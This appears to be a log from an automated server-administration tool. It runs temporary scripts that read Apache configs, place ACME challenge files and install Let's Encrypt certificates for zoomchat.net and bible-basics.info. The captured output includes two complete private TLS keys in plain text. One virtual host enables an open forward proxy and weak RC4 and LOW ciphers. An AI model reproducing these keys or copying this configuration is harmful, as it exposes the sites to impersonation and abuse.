         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Tue Feb 17 06:00:23.480100 2026] [so:warn] [pid 1140562:tid 140309432953152] AH01574: module status_module is already loaded, skipping


2026-02-17 06:00:23: 

PUT: /tmp/pkp842323

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:24: 

chmod 755 /tmp/pkp842323; /tmp/pkp842323; rm /tmp/pkp842323

2026-02-17 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf	2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-17 06:00:24: 

PUT: /tmp/pkp511134

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:00:24: 

chmod 755 /tmp/pkp511134; /tmp/pkp511134; rm /tmp/pkp511134

2026-02-17 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt	5328
06:96:c0:a7:f8:7f:3a:a1:f6:82:ca:9a:1a:b5:91:13

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBg0IGrzY3MIodFWH7QQhiEC7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMTQyWhcNMjYwNTE4MDUwMTQxWjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV
CM527A74enAYFA6JAkQzs0NmUndTmy5i+gKgyDZeHOsQP6SkH/VIvXzP1WQ+D33s
he5XPDX1iBVvZXkcJonFOoPI7Q3VzOkLtV7JwSieymmsNUizRD2AtBx8erkdX2jA
LIqQyuCLePH1hJB9swhRFr1VMai39XQPQy6egDKJkOExYPxJN6eMO03Lj2FToKFg
NTwqnQtZfuVxRC8Ld58c8M3N1isDNbwq8QuL6Yl83oK/VzARePvsJcULNLIWpNLs
iUd5byyen3jftnhN/5+rNf7WLJcDuRUVaVrqs0jv2BFAG8VBN/lvtlo/fFEPsyn9
kug+lML8aMt221bS4u0RAgMBAAGjggISMIICDjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUxTKUX9/z
E9P6y2x8aYNV6F5WUCMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy82MC5j
cmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAWgy2r8KklDw/wOqVF/8i/yCPQ
h0v2BCkn+OcfMxP1+gAAAZxqL1UmAAAEAwBHMEUCIH6npVYRpFsijwd+per3NaNx
l//7fFoQYDvtz4UTQ+awAiEAqmImcltucLSPb7w/lKy65KpjLbBSkfRg0Kts2M4j
JtkAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZxqL1VaAAAE
AwBHMEUCID7ibgQ9NcJpU6Xi8Xu9blQfgdpjf9M+o0DXpq1Pkli+AiEA3tIj7GtQ
4JQMYbupjdXuZPbHhVu0uCsUzsBJ6daPM2MwDQYJKoZIhvcNAQELBQADggEBACZX
vhg9dBeRvxG/erzWohUzP9/kOTeVi0j/FzCTd4fLJ26mXNmBqxK998I3wqmAnufs
Hma/e2YR5nv1GozvJOjaLgiYw9rjVdwDZLufblT2rVxt8ABLOFP/0yX2Oqxkfm6k
78NC54qW4GHqTsAXOXbP5n4/wcy+pOu/mTFyD9rRDdK0FA+Th9joAORXSAV20W7E
ptGaAtvG3kQx1t3YwhgX9bDveeiig/zr8Ny5PFVQOP1HarnocdFAktaayIjvAHgl
TrY8y+iFYSdnDB5gtN22KhXb3rhoe8iR6DK+4cjio0537fDurCfPO3ldPWK+AZ/L
QYS0YVaS3KXGH0jiHmM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVCM527A74enAY
FA6JAkQzs0NmUndTmy5i+gKgyDZeHOsQP6SkH/VIvXzP1WQ+D33she5XPDX1iBVv
ZXkcJonFOoPI7Q3VzOkLtV7JwSieymmsNUizRD2AtBx8erkdX2jALIqQyuCLePH1
hJB9swhRFr1VMai39XQPQy6egDKJkOExYPxJN6eMO03Lj2FToKFgNTwqnQtZfuVx
RC8Ld58c8M3N1isDNbwq8QuL6Yl83oK/VzARePvsJcULNLIWpNLsiUd5byyen3jf
tnhN/5+rNf7WLJcDuRUVaVrqs0jv2BFAG8VBN/lvtlo/fFEPsyn9kug+lML8aMt2
21bS4u0RAgMBAAECggEAB49hMle0vU0tCrG1hVey/2myb+Bn0yv75K/OJZINWeAp
WGGF0HxA2mS9F+wQ+2HV3G2xVF+y44SBjDs75cuZUoo90ITXG5oCwDNeyoakECSL
RPz8GD6I9zcNFr7NMHVpFH7QKQzGFLUFUyrx7MAMgMIvlGUngWXAyWTfM+lFQdv1
ioCvRvvp9l78mGtrF4cR4TdOcVT7NN6ByTsBwSAvv2GTX6TVqGxp0Cqxjn4JRHTb
hMNNs6i2VCVwfh1ozxm4E5lzfv76HjSbevvBD3TG/i3INyb3mrUCbN3RYXQEX0om
sDh1ZOdOuBx9zUs8TiKEyxV5YsTnKBL95zhN3j9bxQKBgQDrl2Nvi/k7x3F3AuiR
f2UdyP/ZyuFYuv9wpMgUGlSfgPeymcYGJOIfNH6xCdSsYtq+F2RSjm2iH/FDxVhZ
2OWucuMyRl06B2ogTlZpUcy6iHUcRXsXkoyTWFO1FqXWNntopqxVuWUx81xSkkpE
Nh6c3qJJk5WdC88pKaWMsXyb5QKBgQDnfS6HTLOgROr5cHRz3qvoYpnj28Pk1BRW
zja03PHrmKKk6CU+n9pXvv9Gs8TQDxOJ61wgIxk4oGT59fyaqye4C/V9QDoHX8oy
qmQLODS3hAbf/FnoRDl0BVHwpcBAeE6LVZZVYEkJwg8isgHM23iLu9Fx+r1VVA+3
W2oCUQkxvQKBgFP7OWUQHp5isF3eWY1UPnVpq1q16bK5pkk/VFtmL3hUfvfZvS9/
gmPhULBHctqoupU8vXR4dThv7o9cD+ynVuji536Ker0u23P8uOz+Td7IugaD9icn
BJmZyO0qz58W+NMLZy9/0UUHHYgJwhOivzLoYi2cQJ8lEIn54JvQwTzJAoGBALZW
rl24lwy4/HU6lR/n13UWpa0LoEQQoWy2xfS0zIINGp/Wk+++LlhLg/yHAZH5LiTH
FSvjOayW+rLBhhW2l3SrRtU/z/WbCEPcXy1POocLIfcwaQlBJBg1UJPDm6msmgG6
is35J87d4toraKuafFtkt9eV76jUrAR7pwboGdvpAoGBAIYRAcTIJ9HYsdUk02pr
tRgtysy/E8qUssdtTwwHbbWc0IlA1k6Tpwg9tlCYHPCZxtcOtrCc2N8gPQiZaVKz
OT42BLP0/owveizmak8Nq1p5RFfUHmmrFUOwbEsk2hC7mPo7o4A+dWtBAB/QfPWH
be9EP2lkgImJ7Fr5Y0SL9rws
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-17 06:00:25: Establishing a connection
2026-02-17 06:00:25: Establishing a connection
2026-02-17 06:00:25: 

PUT: /tmp/pkp777531

#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-17 06:00:26: 

chmod 755 /tmp/pkp777531; /tmp/pkp777531; rm /tmp/pkp777531

2026-02-17 06:00:26: 


1


2026-02-17 06:00:27: Establishing a connection
2026-02-17 06:00:27: 

PUT: /tmp/pkp801931

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > wnec4EqcOgk2O57vPd53pZFloqMQwu9axVggzbM9_P8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wnec4EqcOgk2O57vPd53pZFloqMQwu9axVggzbM9_P8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wnec4EqcOgk2O57vPd53pZFloqMQwu9axVggzbM9_P8
cat > 4MDv8Ecbg7gD0gyPHVsLDSO9w-0G9uqUkXUstNwvPWg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4MDv8Ecbg7gD0gyPHVsLDSO9w-0G9uqUkXUstNwvPWg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4MDv8Ecbg7gD0gyPHVsLDSO9w-0G9uqUkXUstNwvPWg


2026-02-17 06:00:27: 

chmod 755 /tmp/pkp801931; /tmp/pkp801931; rm /tmp/pkp801931

2026-02-17 06:00:27: 




2026-02-17 06:00:38: Establishing a connection
2026-02-17 06:00:38: 

PUT: /tmp/pkp335104

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm wnec4EqcOgk2O57vPd53pZFloqMQwu9axVggzbM9_P8
rm 4MDv8Ecbg7gD0gyPHVsLDSO9w-0G9uqUkXUstNwvPWg


2026-02-17 06:00:38: 

chmod 755 /tmp/pkp335104; /tmp/pkp335104; rm /tmp/pkp335104

2026-02-17 06:00:38: 




2026-02-17 06:00:38: Establishing a connection
2026-02-17 06:00:38: 

PUT: /tmp/pkp715895

#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt

cat > $temp_file <<'endmsg'
6a:f1:44:20:67:4a:84:ca:47:09:ac:1b:ee:1a:f6:36

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBhQ0rLeGNvtxCaIS9VaZRQ3ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE3MDUwMjA2WhcNMjYwNTE4MDUwMjA1WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANgHduHZIYi/gKWBfCeQ6Hu174d/CWCC0pQjq+4oN+E2evXd66eSIOjG7EEg
T9BhKq+4BLyEdiCkmymAXyTkKGsNEGDyQl2n13+h/fgIrr42Tleq/uIb3sq5zMuZ
ppvhUIPz8C7fjJerYiyDQQhJYb9Tgp7tCRgkYLNmmsI9PFSjqEzR2vKwUhb7rlr7
5vHinfQX9MOXfSIkqAAoiC/1VTPCtbFOa69aBDj9EdBIJUiEE4YEGrsqREI1WBpC
njaLbqvffH/91FBcp15iZjl3yniArT1CInlMj0CkX/sU4+bo4rG4BL484VUQxFI6
rviURJJALywuwmkta+WiAQsyX2kCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRU
PQtGgrEeFgHB94+iVOhAuIZCFjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAA
AZxqL7LtAAAEAwBIMEYCIQCGczaRIOl2bnCq61/F2yewiQHSgQPqYk58dGCME5Lw
5wIhAII2NAJr6u8y45z6OAltWzW64fTAA5olmTxUWfJvU5z6AH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGcai+2bAAIAAAFAEleoSAEAwBHMEUC
IQDyUuxpMUscS5rDqXZYAHnLVkQ3jNGSTtcfX3VLeZPuewIgJEyJ6DJOxgQ8TFwZ
JQJPBDG6xdiQp809QmGN8KQxyMMwDQYJKoZIhvcNAQELBQADggEBAANVoFMFsd+f
RPP+Ju7OKulJUVnKU3g6iE2VGfu7dBeeyHW2FRdcxGcjN3BthpVtewF6OgKbWR9X
6OLBn9Ub3yYNO8/WSPkGd4Jb+dtLl7awbfCg9ZJGuh+rs8WWxhj89LvohNfoSpSG
322G/6tjdgg8BnyN/6kzPBrR7FoSc0bddEfklxogMYqdJLifHwgbvHXfK0W9CG6D
SmnzUw0vLK74i33SIpioCpyt3MwFDmgIKKcQ1M/U0t+r0VEdg1ycAGZ0yriDVjgq
j4jKPmWafxdWGUM/bGisRpoc+rS+UkV0E3N9V9FEIP0Ttj/ZwiKH/SOdxnzHYz3Q
IEfsJdcxcxw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDYB3bh2SGIv4Cl
gXwnkOh7te+HfwlggtKUI6vuKDfhNnr13eunkiDoxuxBIE/QYSqvuAS8hHYgpJsp
gF8k5ChrDRBg8kJdp9d/of34CK6+Nk5Xqv7iG97KuczLmaab4VCD8/Au34yXq2Is
g0EISWG/U4Ke7QkYJGCzZprCPTxUo6hM0drysFIW+65a++bx4p30F/TDl30iJKgA
KIgv9VUzwrWxTmuvWgQ4/RHQSCVIhBOGBBq7KkRCNVgaQp42i26r33x//dRQXKde
YmY5d8p4gK09QiJ5TI9ApF/7FOPm6OKxuAS+POFVEMRSOq74lESSQC8sLsJpLWvl
ogELMl9pAgMBAAECggEAGUkuYhsfMLlxnm28kYkFnU1bXxnAiDpn2Y0fV73/ZG4T
EGpMZg3Vqkl2Z90XWoW1EGJSs5oxlXqO6tmqyU+nZ3hc/Wv91qaJs9fLOVgS1BLZ
MqvCL8chWctLrF0swjwqR3erGmFyPGKEGD+4wfaM6W8l7+JA2UGQzA7reGbgg+t4
8OktLmQHHVr11m+E9UPv+SxeU8S3p+vYA9u2+apBQGepfZ7qRnfvmcbKpBheyqZE
uHrU2l6o9M2tV3YtQ4O9p3JdllgJJI+bJcAYI6s3Zikmj3FIwQRV2L2OToINCEt7
qIxfzu6dZ3YoDBqHKpVk7jJaHB7TCp0kPPdTCQVnjQKBgQD1+Pm064sd2S6shk50
eAUMwRSf7BL/qp4x21DcWFlboiSmh1iOxareLPyaCW56JUAhH07qKYN+8nTUob9Z
31/iREGBEu0PiRsQOfEiXCoZLkNLgORjSYNaoRs+wrXS7L1w+zz9vzVgUry64feF
rSX56VUaq/pgA9aak2Mmm1ZXXwKBgQDg1f4wp6BdaQP/nW8pOw/ihjL4dl5ubZBG
bmeDFPCtSm/XhcmuaYbmLn7vfMvjtBECGDsRoEBfiyJBsGTwyUU0y7vZbeEHowWp
ySCbirHf1PvqE2gefQG+NxmQakBP8IIDjKFky8FPe1n1zo29XUy8NN90zEM6zTAk
2VGCJ8KmNwKBgGxsCuXMzc2iZgh2Sy7bmJ4+nbDAhr9bnc+sNMBr0TerCSy+jDKi
vuagPdhIQAJnWRVAj7B4DBZxGT6A7a/X3pQGMjmK9iPa86r7X2cd6RCga9lkP0fk
p5nTWgcYHL2UzQx4MjJHjmefEMHvyQOLhynZyEGxfPPFvVr1jMb/wddRAoGBANEy
67/zyIgBtaG6p/rSJLaeLYD4CmdvdIXEJnZWHpbvIt+DcaPiNo2oh51oHgIxwn2T
dCqzVBJSUD6U1Wchr04vnwrxbSeA7T0MklWHmHfvIbKr+f4cTGnjtNqlsk9vNln9
GRLDb4v39z16wnGHBWY9QAnaIVfuIbS3rFqRilDDAoGAURzIxVHJTq3q3ge9YxNY
VFFgy34DkmL38SY9svBKkqjfh+KlTY2A48UESxqvpyuSwB7Cesm7EJfjzEJpRO8N
Q83pe8AueaC3tlJC5oBNP2+oFr2nZhv14SJWXHkdmdudLnDQ5/8+9BGa4ylQDt8b
++tWUK/D76po4jPc+8f5LHc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-17 06:00:38: 

chmod 755 /tmp/pkp715895; /tmp/pkp715895; rm /tmp/pkp715895

2026-02-17 06:00:38: 


dir=/etc/ssl/certs


2026-02-17 06:00:38: 

PUT: /tmp/pkp409312

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-17 06:00:38: 

chmod 755 /tmp/pkp409312; /tmp/pkp409312; rm /tmp/pkp409312

2026-02-17 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
